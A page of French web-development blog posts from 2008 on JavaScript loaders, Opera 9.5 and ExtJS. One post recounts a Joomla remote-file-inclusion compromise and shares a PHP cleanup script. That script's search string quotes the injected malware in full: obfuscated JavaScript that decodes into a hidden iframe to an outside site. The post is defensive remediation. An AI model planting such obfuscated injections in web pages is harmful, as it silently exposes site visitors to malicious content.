Deux outils puissants pour Javascript

Tags , , , , ,
20 juin 2008 par Yohann CIURLIK

Il est parfois difficile de gérer aisément le chargement, l’organisation de ces scripts Javascript. Surtout lorsque les fichier sont nombreux et/ou que les librairies ne sont pas toutes compatibles entre elles. Il n’est pas toujours utile de charger toutes les librairies Javascript pour une page donnée.

Voici deux nouveaux Ajax Loader ou plutôt Javascript Loader dans le même genre que la Google Ajax Librairies que je vous avez déjà présenté.

L’idée étant de délégué à un framework ou un outil la gestion de vos différentes sources Javascript.

Module.Js

Ce framework très léger permet de charger, inclure, déclarer, cacher des sources de script via quelques lignes de codes.

Par exemple

  • Une inclusion :
  1. include(‘theModule.js’);
  • Un chargement de fichier :
  1. <script src="modules.js?<strong>./index.js</strong>"></script>

Archetypes.js

C’est un framework plus puissant qui en plus de traiter ce genre de problème permet également de fournir une architecture type sur laquelle vont reposer tous vos développements de Javascript.

C’est une sorte de templatisation de vos sources Javascript. Vous suivez donc un modèle bien particulier. Ce sont de bonnes pratiques.

Les dépendances sont gérées ainsi :

  1. dependencies: {
  2.     components: {
  3.         slideManager: "Slidy.components.slideManager",
  4.         slideChangeHandler: "Slidy.components.slideChangeHandler",
  5.         slideCounter: "Slidy.components.slideCounter"
  6.     },
  7.     lib: ["Slidy.libs.shjs.sh_main", "Slidy.libs.shjs.sh_javascript", "Slidy.libs.shjs.sh_html"],
  8.     css: ["Slidy.css.slidy", "Slidy.css.w3c-blue", "Slidy.libs.shjs.sh_typical"],
  9.     html: {
  10.         main: "Slidy.templates.container"
  11.     }
  12. }

En plus de la gestion de dépendances, vous pouvez également faire de la programmation orientée composant via ce puissant framework. Ce qui augmente la lisibilité du code et permet une maintenance plus facile. Ce schéma résume parfaitement l’idée du framework Archetype : Une approche orientée MVC et composant.

runtime

Le code est donc simplement organisé :

  1. Archetype.Component.Extend(["Archetype.component.graphicalComponent"], {
  2.         name:"Sample.component.graphicalFoobar",
  3.         /**
  4.          * Set up the Component dependencies
  5.          */
  6.         setup:{
  7.                 dependencies: {
  8.                         components:{foobar: "Sample.components.foobar"},
  9.                         lib:[],
  10.                         css:[],
  11.                         html:{main: "Sample.templates.foobarComponent"}
  12.                 }
  13.         },
  14.         /**
  15.          * Start the Component itself
  16.          * @constructor
  17.          */
  18.         initialize: function() {
  19.                 this.options = {
  20.                         max: 5,
  21.                         date: new Date(0),
  22.                         table: ["a","b","c","d","e"]
  23.                 }
  24.                 this.anchor = $("bodyContent");
  25.  
  26.                 Logger.debug("foobarGraphical has been instanciated!");
  27.  
  28.                 new this.components.foobar();
  29.                 Logger.debug("foobar launched from foobarComponent!");
  30.  
  31.                 this.render(this.anchor);
  32.                 Logger.debug("foobarGraphical rendered!");
  33.         },
  34.         /**
  35.          * Listen to "DateUpdate" event
  36.          */
  37.         onDateUpdate: function(eventName, date) {
  38.                 this.options.date = date;
  39.                 this.render(this.anchor);
  40.                 Logger.debug("foobarGraphical received a date: " + date);
  41.         },
  42.         /**
  43.          * Render the Component view and return it
  44.          */
  45.         renderViewAsString: function() {
  46.                 return this.templates.main.evaluate(this.options);
  47.         }
  48. });
Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Sortie officielle d’Opéra 9.5

Tags , , , ,
12 juin 2008 par Yohann CIURLIK

Ce sera donc 3 semaines avant la sortie de Firefox 3 qu’ Opéra nous dévoile sa nouvelle version d’ Opéra. Opéra 9.5 est maintenant disponible en version finale depuis le site Opera Browser.

Au menu, un outil de recherche rapide, des bookmarks visuels, une navigation totale à la souris et pleins d’autres nouveautés.

opera95

Mais le plus important, c’est surement le nouveau moteur de rendu deux fois plus rapide que celui utilisé dans la version 9.2. Optimisé principalement pour le rendu Javascript et les requetes Ajax. Il permet également un démarrage plus rapide du navigateur.

Ils en parlent :

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Blog orienté SOA & Frameworks Ajax

Tags , , , , , , ,
9 juin 2008 par Yohann CIURLIK

Je tenais à vous avertir de l’ouverture d’un tout nouveau blog orienté vers le développement Java et notemment tout ce qui touche de loin ou de près aux nouvelles technologies autour de SOA, REST, Ajax, RIA, Web Services, …

SOAPlanet est un blog tenu par Hugo, un collègue de Fac avec qui j’ai passé quelques années.

J’apprècie le thème qu’il à choisi pour la rédac de ses articles et j’ai même découvert Dojo.E, un framework Ajax bien sympa.

image

Dojo.E est une surcouche de l’ensemble d’outils Javascript Dojo qui permet de décrire des interfaces graphiques en XML. Un format qui reste très verbeux mais plus simple que le JSON dans sa syntaxe. Il est tout de même plus simple de voir la non fermeture d’un balise XML que de voir une virgule en trop en JSON.

Une double découverte pour plaisir double. A consommer sans modérations !

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Faille de sécurité sur mon blog

Tags , , , ,
2 juin 2008 par Yohann CIURLIK

Durant une partie de la journée, mon blog est devenu inaccessible. La raison étant qu’un vilain petit hacker s’est amusé à pourrir mon site. En réalité, ce n’est pas une personne mais un script qui parcours le net à la recherche de potentielles failles de sécurité sur les sites.

virussafe

Mais que s’est-il passé ?

Même si mon blog fonctionne sous Wordpress pour des raisons de conforts, la racine de mon site est basé sur le CMS Joomla. Je n’utilise plus ou très peu ce dernier et cela faisait longtemps que je n’avais pas mis à jour sa version (passage de 1.0.12 à 1.0.15). J’ai donc découvert une faille d’inclusion de fichiers distant dans la variable mosConfig_absolute_path. Un exploit bien simple mais très ennuyeux car le hacker peut exécuter n’importe quel code PHP sur votre site.

Résultats

Le hacker en à profiter pour modifier tous mes fichiers PHP (1822 au total) pour y inclure un script qui s’exécute sur la machine cliente. Ne craignez rien, j’ai supprimé le code qui était bloqué par votre antivirus dans tous les cas.

J’ai donc utilisé un script maison pour remédier au problème et supprimer le code malicieux de mes fichiers sources. Le code source est le suivant (à utiliser à vos risques et périls sur votre serveur) :

  1. <?php
  2. //passer à true pour afficher les détails des fichiers
  3. $show_details = false;
  4. //passer à TRUE pour effectuer le nettoyage
  5. $process = true;
  6.  
  7. //ecrit dans le fichier n les données d
  8. function file_put_cont($n, $d) {
  9.     $f = @fopen($n, ‘w’);
  10.     if ($f === false) {
  11.         echo "Impossible d’ouvrir le fichier ".$n;
  12.     } else {
  13.         if (is_array($d)) $d = implode($d);
  14.         $bytes_written = fwrite($f, $d);
  15.         fclose($f);
  16.         return $bytes_written;
  17.     }
  18. }
  19.  
  20. //scan les répertoires récursivement
  21. //retourne un tableau contenant les fichiers php
  22. function searchdir ( $path = "." , $maxdepth = -1 , $mode = "FILES" , $d = 0 ){
  23.    if ( substr ( $path , strlen ( $path ) - 1 ) != ‘/’ ) { $path .= ‘/’ ; }    
  24.    $dirlist = array () ;
  25.    if ( $mode != "FILES" ) { $dirlist[] = $path ; }
  26.    if ( $handle = opendir ( $path ) ){
  27.        while ( false !== ( $file = readdir ( $handle ) ) ){
  28.            if ( $file != ‘.’ && $file != ‘..’ ){
  29.                $file = $path . $file ;
  30.                if ( ! is_dir ( $file ) ) {
  31.                                         if ( $mode != "DIRS" ) {
  32.                                                 $file_part = pathinfo($file);
  33.                                                 if($file_part[‘extension’] == "php" || $file_part[‘extension’] == "PHP") {
  34.                                                         $dirlist[] = $file ;
  35.                                                 }
  36.                                         }
  37.                            }
  38.                elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) ){
  39.                    $result = searchdir ( $file . ‘/’ , $maxdepth , $mode , $d + 1 ) ;
  40.                    $dirlist = array_merge ( $dirlist , $result ) ;
  41.                }
  42.        }
  43.        }
  44.        closedir ( $handle ) ;
  45.    }
  46.    if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
  47.    return ( $dirlist ) ;
  48. }
  49.  
  50. //scan le tableau de fichier a la recherche de la chaine $token
  51. //retourne un tableau composé des fichiers qui contenait la chaine $token
  52. function searchstring($file_array , $token, $process) {
  53.         $dirlist = array () ;
  54.         for($i=0;$i<count($file_array);$i++){
  55.                 $cur_file = $file_array[$i];
  56.                 $cur_content_file = @file_get_contents($cur_file);
  57.                 if(stripos($cur_content_file,$token)!==false) {
  58.                         //ajout des fichiers au tableau
  59.                         $dirlist[] = $cur_file;
  60.                         //suppression de la chaine
  61.                         $new_content = str_replace($token, "", $cur_content_file);
  62.                         if($process == true){
  63.                                 $var = file_put_cont($cur_file, $new_content);
  64.                                 if($var != false) {
  65.                                         if($show_details) {
  66.                                                 echo $var." octets ecrits dans ".$cur_file;
  67.                                         }
  68.                                 }
  69.                         } else {
  70.                                 echo ‘File : ‘.$cur_file.‘<br/>’;
  71.                         }
  72.                 }
  73.         }
  74.         return ( $dirlist ) ;
  75. }
  76. echo ‘<h2>Nettoyage des fichiers PHP</h2>’;
  77. //scan les repertoires et recherche les fichiers php
  78. $arbo = searchdir(".");
  79. echo "Fichiers de l’arborescence : <br/>";
  80. if($show_details==true) {
  81.         for($i=0;$i<count($arbo);$i++){
  82.                 echo ‘File : ‘.$arbo[$i].‘<br/>’;
  83.         }
  84. } else {
  85.         echo count($arbo)." fichiers.<br/>";
  86. }
  87.  
  88. $token = ‘<?php echo \’<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\”ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\”ykfvj?3\”jgkijv?3\”htcogdqtfgt?2@"));</script>\’;?>’;
  89. echo "Chaine à rechercher : ".$token."<br/><br/>";
  90.  
  91. //scan les fichiers trouvés afin de trouver la chaine incréminée
  92. echo "Fichiers infectés : <br/>";
  93. $arbo = searchstring($arbo, $token, $process);
  94.  
  95. echo count($arbo)." fichiers modifiés !<br/>";
  96.  
  97. if($process == true)
  98.         echo "Opération terminée !<br/>";
  99. else echo "Mettre process à TRUE pour effectuer l’opération !<br/>";
  100. ?>

Le fichier liste les fichiers php de votre serveur, vérifie et supprime la chaine $token contenue des fichiers sources.
Conclusion

Mettez toujours à jour vos applications et effectuez des sauvegardes régulières, c’est vital !

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Passez à ExtJS en J2EE

Tags , , , , ,
15 mai 2008 par Yohann CIURLIK

ExtJS est l’une des meilleures librairies graphique en Javascript du moment. Je l’avais présentée en Novembre dernier comme un Framework Ajax Design.

ExtJs

La version 2.0 du framework est vraiment bien conçue et les démonstrations sont vraiment impressionnantes.

A cela s’ajoute la librairie de widgets GWT-Ext :

gwt-ext-2

Cette librairie utilise la puissance du webtoolkit de Google (GWT) et d’ExtJS pour fournir un ensemble de widgets à coder directement en Java pour vos applications web. Le résultat : des composants graphiques de très bonne qualité compatibles avec tous les principaux navigateurs web et cela en quelques lignes de Java.

Si vous êtes un développeur J2EE, vous n’avez pas non plus de soucis à vous faire. Il existe une taglib spécifique pour coder des composants ExtJS dans vos pages JSP. Il sagit de la TLD ExtTLD.

window

Le résultat est encore une fois hallucinant. Quelques lignes suffisent pour  obtenir des composants  graphiques dans vos pages JSP.

window1

ExtJS devient à aujourd’hui une librairie très riche et fonctionnelle. Le code devient assez compliqué dès qu’il s’agit de customiser le moindre composant mais heureusement pour nous il existe sur Internet des blogs, forums et communautés qui fournissent des solutions à nos problèmes. On pourra citer l’exemple de ce blog qui recense un certains nombre de liens vers des composants ExtJs customiser et améliorés.

ExtJS est, pour moi, une référence de qualité dans le monde des RIA. A en voir le nombre d’entreprises qui l’utilise…

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !
Page 1 sur 3123»


sideBarQA